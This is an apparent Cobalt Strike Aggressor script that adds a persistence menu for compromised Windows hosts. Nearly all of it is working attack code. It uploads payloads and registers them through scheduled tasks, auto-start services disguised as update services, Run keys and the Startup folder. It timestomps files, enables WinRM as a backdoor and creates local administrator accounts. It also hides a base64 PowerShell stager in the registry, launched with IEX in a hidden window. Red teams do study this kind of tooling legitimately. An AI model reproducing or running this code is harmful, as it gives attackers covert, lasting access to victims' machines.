persistence.cna

# Cobalt Strike Persistence Aggressor Script
# TODO:
#  Add SYSTEM level scheduled task method
#  Add WMI/MOF scheduled task method
#  Add scheduled tasks on logoff method (lunch break persistence)
#  Add Linux persistence
#  Add checks for all persistence methods, ways to remove all persistence methods
#  Add Mimikatz skeleton key module
#  Add module for adding local/domain users
#  
#  MITRE ID: T1136
#  Create domain user
#  Create domain admin
#
#  MITRE ID: T1037
#  Logon script EXE persistence
#  Logon script PowerShell persistence
#
#  MITRE ID: T1128
#  Netsh perstitence: https://github.com/outflanknl/NetshHelperBeacon
#

popup beacon_top {
	menu "&Persistence"{
		menu "&Windows"{
			item "&Check Registry Keys" {
				local('$bid');
				foreach $bid ($1) {
					checkRegKeys($bid);
				}
			}
			item "&Delete Registry Keys" {
				local('$bid');
				foreach $bid ($1) {
					deleteRegKeys($bid);
				}
			}
			item "&Check Scheduled Tasks" {
				local('$bid');
				foreach $bid ($1) {
					checkSchTasks($bid);
				}
			}
			item "&Delete Scheduled Tasks" {
				local('$bid');
				foreach $bid ($1) {
					deleteSchTasks($bid);
				}
			}
			item "&User Scheduled Task - EXE" {
				local('$bid');
				foreach $bid ($1) {
					userScheduledTaskEXE($bid);
				}
			}
			item "&User Scheduled Task - DLL" {
				local('$bid');
				foreach $bid ($1) {
					userScheduledTaskDLL($bid);
				}
			}
			item "&Startup Folder Persistence"{
				local('$bid');
				foreach $bid ($1) {
					persistThroughStartUpFolder($bid);
				}
			}
			item "&HKCU Run Key Registry EXE Persistence" {
				local('$bid');
				foreach $bid ($1) {
					ExePersistRegistryHKCU($bid);
				}
			}
			item "&HKLM Run Key Registry EXE Persistence" {
				local('$bid');
				foreach $bid ($1) {
					ExePersistRegistryHKLM($bid);
				}
			}
			item "&HKCU Run Key Registry PowerShell Persistence" {
				local('$bid');
				foreach $bid ($1) {
					PSPersistRegistryHKCU($bid);
				}
			}
			item "&HKLM Run Key Registry PowerShell Persistence" {
				local('$bid');
				foreach $bid ($1) {
					PSPersistRegistryHKLM($bid);
				}
			}
			item "&Service Persistence - Executable" {
				local('$bid');
				foreach $bid ($1) {
					serviceEXECustom($bid);
				}
			}
			item "&Enable WinRM Backdoor" {
				local('$bid');
				foreach $bid ($1) {
					enableWinRM($bid);
				}
			}
			item "&Add Local User" {
				local('$bid');
				foreach $bid ($1) {
					addLocalUser($bid);
				}
			}
		}
	}
}

#  Bitsadmin Persistence - EXE

#  Bits PowerShell Persistence - EXE

#  Bitsadmin Persistence - PS

#  Bits PowerShell Persistence - PS

# WinRM Backdoor
sub enableWinRM {
	$bid = $1;

	bpowershell($bid, 'Enable-PSRemoting -Force');
}

# Create local user, possibly add them to administrators group
sub addLocalUser {
	$bid = $1;

	$dialog = dialog("Local User Persistence", %(username => 'updateuser', password => 'ThisPass1234!@', makeadmin => 'True'), lambda({
		if ("$3['makeadmin']" ismatch 'True' || "$3['makeadmin']" ismatch 'False' ) {
			bshell($bid, "net user /add '.$3['username'].' '.$3['password'].'");

			if ("$3['makeadmin']" ismatch 'True') {
				bshell($bid, "net localgroup administrators '.$3['username'].' /add");
			}	
		}
		else {
			berror($bid, "\c4Please enter True or False for the Make Admin field.");
		}
	}));
}

# Create a service to run a custom executable on startup
sub serviceEXECustom {
	$bid = $1;

	$dialog = dialog("Custom EXE Service Persistence", %(servicename => "updatesvc", servicedesc => "Windows update service", servicedisplay => "Update Service", binpath => "C:\\Users\\$user\\AppData\\Local\\Temp", payloadfile => "Select EXE Payload..."), lambda({
		if ("$3['payloadfile']" ismatch 'Select EXE Payload...') {
			berror($bid, "\c4Please select a valid Payload file.");
		}
		else {
			bcd($bid, $3['binpath']);
			bupload($bid, $3['payloadfile']);
			bshell($bid, "sc create '.$3['servicename'].' binPath= "'.$3['binpath'].$3['payloadfile'].'" start= auto DisplayName= '.$3['servicedisplay'].'");
			bshell($bid, 'sc description '.$3['servicename'].' "'.$3['servicedesc'].'"');
			bshell($bid, 'sc start "'.$3['servicename'].'"');
		}
	}));

	dialog_description($dialog, "Service Persistence - Register a new service to execute a provided executable");

	drow_text($dialog, "servicename", "Service Name:"); 
	drow_text($dialog, "servicedesc", "Service Description:");
	drow_text($dialog, "servicedisplay", "Service Display Name: ");
	drow_text($dialog, "binpath", "Path to Uploaded Binary");
	drow_file($dialog, "payloadfile", "Payload (EXE)");

	dbutton_action($dialog, "Create");
	dialog_show($dialog);	

}

# MITRE ID: T1053
sub userScheduledTaskEXE  {
	$bid = $1;
	$user1 = beacon_info($bid, "user");
	$user2 = split(" ", $user1);	
	$user = $user2[0];

	$dialog = dialog("User Schtasks Persistence", %(taskname => "Updatev1", targetpath => "C:\\Users\\$user\\AppData\\Local\\Temp", user => "$user", schedule => "ONLOGON", payloadfile => "Select EXE Payload.."), lambda({
		if ("$3['taskname']" ismatch 'Evil Task Name..' || "$3['targetpath']" ismatch 'Target Path..' || "$3['payloadfile']" ismatch 'Select EXE Payload..' || "$3['user']" ismatch 'User to Run as..' || "$3['schedule']" ismatch 'Schedule modifier..') {
			berror($bid, "\c4Please enter a valid Task Name, Target Path, and a valid Payload File.");
			break;
		}
		else {
			bcd($bid, $3['targetpath']);
			bupload($bid, $3['payloadfile']);
			bpowerpick($bid, 'schtasks /create /tn "'.$3['taskname'].'" /tr "'.$3['targetpath']."\\".split("/",$3['payloadfile'])[-1].'" /ru "'.$3['user'].'" /sc "'.$3['schedule'].'"');
			bpowerpick($bid, 'schtasks /query /v /tn "'.$3['taskname'].'" /FO list');
			bls($bid, $3['targetpath']);
		}
	}));

	dialog_description($dialog, "User Scheduled Task Persistence - Generates a scheduled task for persistence on selected beacon.");
	
	drow_text($dialog, "taskname",  "Schtasks Taskname:");
	drow_text($dialog, "user", "User to Run as:");
	drow_text($dialog, "targetpath", "Target Path:");
	drow_text($dialog, "schedule", "Schedule Modifier:");
	drow_file($dialog, "payloadfile", "EXE Payload:");
	
	dbutton_action($dialog, "Create");
	dialog_show($dialog);

}

# MITRE ID: T1053
sub userScheduledTaskDLL  {
	$bid = $1;
	$user1 = beacon_info($bid, "user");
	$user2 = split(" ", $user1);	
	$user = $user2[0];

	$dialog = dialog("User Schtasks Persistence", %(taskname => "Updatev2", targetpath => "C:\\Users\\$user\\AppData\\Local\\Temp", user => "$user", schedule => "ONLOGON", payloadfile => "Select DLL Payload.."), lambda({
		if ("$3['taskname']" ismatch 'Evil Task Name..' || "$3['targetpath']" ismatch 'Target Path..' || "$3['payloadfile']" ismatch 'Select DLL Payload..' || "$3['user']" ismatch 'User to Run as..' || "$3['schedule']" ismatch 'Schedule modifier..') {
			berror($bid, "\c4Please enter a valid Task Name, Target Path, and a valid Payload File.");
			break;
		}
		else {
			bcd($bid, $3['targetpath']);
			bupload($bid, $3['payloadfile']);
			bpowerpick($bid, 'schtasks /create /tn "'.$3['taskname'].'" /tr "C:\Windows\System32\rundll32.exe '.$3['targetpath']."\\".split("/",$3['payloadfile'])[-1].',StartW" /ru "'.$3['user'].'" /sc "'.$3['schedule'].'"');
			bpowerpick($bid, 'schtasks /query /v /tn "'.$3['taskname'].'" /FO list');
			bls($bid, $3['targetpath']);
		}
	}));

	dialog_description($dialog, "User Schtasks Persistence - Generates a schtask for persistence on selected beacon.");
	
	drow_text($dialog, "taskname",  "Schtasks Taskname:");
	drow_text($dialog, "user", "User to Run as:");
	drow_text($dialog, "targetpath", "Target Path:");
	drow_text($dialog, "schedule", "Schedule Modifier:");
	drow_file($dialog, "payloadfile", "DLL Payload:");
	
	dbutton_action($dialog, "Create");
	dialog_show($dialog);

}

sub persistThroughStartUpFolder {
	$bid = $1;
	$user1 = beacon_info($bid, "user");
	$user2 = split(" ", $user1);	
	$user = $user2[0];

	$dialog = dialog("Start Up Folder Persistence", %(startup => "C:\\Users\\$user\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", payload => "Select Payload.."), lambda({
		if ("$3['startup']" ismatch 'Startup Directory Folder..' || "$3['payload']" ismatch 'Select Payload..') {
			berror($bid, "\c4Please enter a valid Startup Directory Folder, and select a Payload.");
			break;
		}
		else {
			bcd($bid, $3['startup']);
			bupload($bid, $3['payload']);
			btimestomp($bid, "$3['payload']", "c:\\windows\\system32\\calc.exe");
			bls($bid, $3['startup']);	
		}
	}));
	dialog_description($dialog, "Start Up Folder Persistence - Generates a Startup Folder Entry and places a payload inside that folder. **Windows NT 6.0-10.0/All Users Location - %SystemDrive%\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup | Windows NT 6.0-10.0/Current User Location %SystemDrive%\Users\%UserName%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup");

	drow_text($dialog, "startup", "StartUp Directory Folder Location:");
	drow_file($dialog, "payload", "Select Payload:");

	dbutton_action($dialog, "Create");
	dialog_show($dialog);
}

sub deleteSchTasks {
	$bid = $1;

	$dialog = dialog("Delete scheduled tasks", %(taskname => "Taskname"), lambda({
		if ("$3['taskname']" ismatch 'Taskname') {	
			berror($bid, "\c4Please enter a task name");
			break;
		}
		else {
			$pscmd = 'schtasks /Delete /tn "'.$3['taskname'].'"';
			blog($bid, "Running the following PowerShell command: $pscmd");	
			bpowerpick($bid, $pscmd);		
		}
	}));

	dialog_description($dialog, "Delete scheduled tasks");
	
	drow_text($dialog, "taskname", "Task Name:");
	
	dbutton_action($dialog, "Delete");
	dialog_show($dialog);

}

sub checkRegKeys {
	$bid = $1;

	$dialog = dialog("Query typical persistence registry keys", %(arch => "x86"), lambda({
		if ("$3['arch']" ismatch 'x86' || "$3['arch']" ismatch 'x64') {	
			breg_query($bid, "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", $3['arch']);
			breg_query($bid, "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", $3['arch']);
			breg_query($bid, "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", $3['arch']);
			breg_query($bid, "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", $3['arch']);
		}
		else {
			berror($bid, "\c4Please enter x86 or x64.");
			break;
		}
	}));

	dialog_description($dialog, "Query typical persistence registry keys");
	
	drow_text($dialog, "arch",  "Architecture (x86 or x64):");
	
	dbutton_action($dialog, "Query");
	dialog_show($dialog);

}

sub deleteRegKeys {
	$bid = $1;

	$dialog = dialog("Delete persistence registry keys", %(keyname => "Key Name", keypath => "HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"), lambda({
		if ("$3['keyname']" ismatch 'Key Name') {	
			berror($bid, "\c4Please enter a key name");
			break;
		}
		else {
			$pscmd = 'Remove-ItemProperty -Name "'.$3['keyname'].'" -Path "'.$3['keypath'].'"';
			blog($bid, "Running the following PowerShell command: $pscmd");	
			bpowerpick($bid, $pscmd);		
		}
	}));

	dialog_description($dialog, "Delete persistence registry keys");
	
	drow_text($dialog, "keyname",  "Key Name:");
	drow_text($dialog, "keypath", "Key Path:");
	
	dbutton_action($dialog, "Delete");
	dialog_show($dialog);

}


sub checkSchTasks {
	$bid = $1;

	$dialog = dialog("Show active scheduled tasks", %(searchstring => "*"), lambda({
		if ("$3['searchstring']" ismatch 'taskstring') {	
			berror($bid, "\c4Please enter a task name to search for (* works too)");
			break;
		}
		else {
			$pscmd = 'Get-ScheduledTask -TaskPath "'.$3['searchstring'].'"';
			blog($bid, "Running the following PowerShell command: $pscmd");	
			bpowerpick($bid, $pscmd);		
		}
	}));

	dialog_description($dialog, "Show active scheduled tasks");
	
	drow_text($dialog, "searchstring",  "Task Name String:");
	
	dbutton_action($dialog, "Search");
	dialog_show($dialog);

}

sub ExePersistRegistryHKCU {
	$bid = $1;
	$user1 = beacon_info($bid, "user");
	$user2 = split(" ", $user1);	
	$user = $user2[0];

	$dialog = dialog("HKCU EXE Persistence", %(keyname => "Updatev1", regkey  => "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", targetpath => "C:\\Users\\$user\\AppData\\Local\\Temp" , payloadfile => "Select EXE Payload.."), lambda({
		if ("$3['payloadfile']" ismatch 'Select EXE Payload..') {
			berror($bid, "\c4Please enter a valid Payload File.");
			break;
		}
		else {
			bcd($bid, $3['targetpath']);
			bupload($bid, $3['payloadfile']);
			bls($bid, $3['targetpath']);
			bpowerpick($bid, 'reg add "'.$3['regkey'].'" /v "'.$3['keyname'].'" /t REG_SZ /d "'.$3['targetpath']."\\".split("/",$3['payloadfile'])[-1].'"');
			breg_query($bid, $3['regkey']);
		}
	}));

	dialog_description($dialog, "User Scheduled Task Persistence - Generates a scheduled task for persistence on selected beacon.");
	
	drow_text($dialog, "keyname",  "Name of the new registry entry:");
	drow_text($dialog, "regkey", "Registry key to modify");
	drow_text($dialog, "targetpath", "Target Path for the EXE upload:");
	drow_file($dialog, "payloadfile", "EXE Payload:");
	
	dbutton_action($dialog, "Create");
	dialog_show($dialog);

}


sub ExePersistRegistryHKLM {
	$bid = $1;
	$user1 = beacon_info($bid, "user");
	$user2 = split(" ", $user1);	
	$user = $user2[0];

	$dialog = dialog("HKLM EXE Persistence", %(keyname => "Updatev1", regkey  => "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", targetpath => "C:\\Users\\$user\\AppData\\Local\\Temp" , payloadfile => "Select EXE Payload.."), lambda({
		if ("$3['payloadfile']" ismatch 'Select EXE Payload..') {
			berror($bid, "\c4Please enter a valid Payload File.");
			break;
		}
		else {
			bcd($bid, $3['targetpath']);
			bupload($bid, $3['payloadfile']);
			bls($bid, $3['targetpath']);
			bpowerpick($bid, 'reg add "'.$3['regkey'].'" /v "'.$3['keyname'].'" /t REG_SZ /d "'.$3['targetpath']."\\".split("/",$3['payloadfile'])[-1].'"');
			breg_query($bid, $3['regkey']);
		}
	}));

	dialog_description($dialog, "User Scheduled Task Persistence - Generates a scheduled task for persistence on selected beacon.");
	
	drow_text($dialog, "keyname",  "Name of the new registry entry:");
	drow_text($dialog, "regkey", "Registry key to modify");
	drow_text($dialog, "targetpath", "Target Path for the EXE upload:");
	drow_file($dialog, "payloadfile", "EXE Payload:");
	
	dbutton_action($dialog, "Create");
	dialog_show($dialog);

}

sub PSPersistRegistryHKCU {
	$bid = $1;
	$dialog = dialog("HKCU Run Key Registry PowerShell Persistence (User Level)", %(keyname => "Key Name for Payload..", keyname1 => "Key Name to execute Payload..", listener => "Listener Name"), lambda({
		if ("$3['keyname']" ismatch 'Key Name for Payload..' || "$3['keyname1']" ismatch 'Key Name to execute Payload..') {
			berror($bid, "\c4Please enter a valid Registry Key Names, Payload, and a valid Path location.");
			break;
		}
		else {
			$data = artifact($3['listener'], "powershell");
			$encoded = base64_encode($data);
			$powershellcmd = "Set-ItemProperty -Path \'HKCU:SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\' -Name '".$3['keyname']."' -Type String -Value \"'".$encoded."'\"";

			bpowerpick!($bid, $powershellcmd);
			blog($bid, "\cBSetting the first HKLM Run Key Value as '".$3['keyname']."'...");
			$powershellcmd1 = "Set-ItemProperty -Path 'HKCU:SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run' -Name '".$3['keyname1']."' -Value 'C:\\Windows\\SySWoW64\\WindowsPowerShell\\v1.0\\powershell.exe -w hidden -c (IEX ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((gp HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\Run ".$3['keyname'].").".$3['keyname']."))))'";
			bpowerpick!($bid, $powershellcmd1);
			blog($bid, "\cBSetting the second HKLM Run Key Value as '".$3['keyname1']."'...");
			blog($bid, "\cBDisplaying both Run Keys to Verify everything worked as intended...");
		
			$powershellcmd2 = "Get-ItemProperty -Path 'HKCU:SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run' -Name '".$3['keyname']."'";
			bpowerpick!($bid, $powershellcmd2);
			$powershellcmd3 = "Get-ItemProperty -Path 'HKCU:SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run' -Name '".$3['keyname1']."'";
			bpowerpick!($bid, $powershellcmd3);
		}
	}));

	dialog_description($dialog, "HKCU Run Key Registry PowerShell Persistence - Generates a powershell Base64 Encoded payload as a HKCU Run Key Registry Entry for persistence on selected beacon.");
	
	drow_text($dialog, "keyname",  "Registry Key Name for Payload:");
	drow_text($dialog, "keyname1", "Registry Key Name to execute Payload:");
	drow_text($dialog, "listener", "Listener Name:");
	
	dbutton_action($dialog, "Create");
	dialog_show($dialog);

}

sub PSPersistRegistryHKLM {
	$bid = $1;
	$dialog = dialog("HKLM Run Key Registry PowerShell Persistence (User Level)", %(keyname => "Key Name for Payload..", keyname1 => "Key Name to execute Payload..", listener => "Listener Name"), lambda({
		if ("$3['keyname']" ismatch 'Key Name for Payload..' || "$3['keyname1']" ismatch 'Key Name to execute Payload..') {
			berror($bid, "\c4Please enter a valid Registry Key Names, Payload, and a valid Path location.");
			break;
		}
		else {
			$data = artifact($3['listener'], "powershell");
			$encoded = base64_encode($data);
			$powershellcmd = "Set-ItemProperty -Path \'HKLM:SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\' -Name '".$3['keyname']."' -Type String -Value \"'".$encoded."'\"";

			bpowerpick!($bid, $powershellcmd);
			blog($bid, "\cBSetting the first HKLM Run Key Value as '".$3['keyname']."'...");
			$powershellcmd1 = "Set-ItemProperty -Path 'HKLM:SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run' -Name '".$3['keyname1']."' -Value 'C:\\Windows\\SySWoW64\\WindowsPowerShell\\v1.0\\powershell.exe -w hidden -c (IEX ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((gp HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\Run ".$3['keyname'].").".$3['keyname']."))))'";
			bpowerpick!($bid, $powershellcmd1);
			blog($bid, "\cBSetting the second HKLM Run Key Value as '".$3['keyname1']."'...");
			blog($bid, "\cBDisplaying both Run Keys to Verify everything worked as intended...");
		
			$powershellcmd2 = "Get-ItemProperty -Path 'HKLM:SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run' -Name '".$3['keyname']."'";
			bpowerpick!($bid, $powershellcmd2);
			$powershellcmd3 = "Get-ItemProperty -Path 'HKLM:SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run' -Name '".$3['keyname1']."'";
			bpowerpick!($bid, $powershellcmd3);
		}
	}));

	dialog_description($dialog, "HKLM Run Key Registry PowerShell Persistence - Generates a powershell Base64 Encoded payload as a HKLM Run Key Registry Entry for persistence on selected beacon.");
	
	drow_text($dialog, "keyname",  "Registry Key Name for Payload:");
	drow_text($dialog, "keyname1", "Registry Key Name to execute Payload:");
	drow_text($dialog, "listener", "Listener Name:");
	
	dbutton_action($dialog, "Create");
	dialog_show($dialog);

}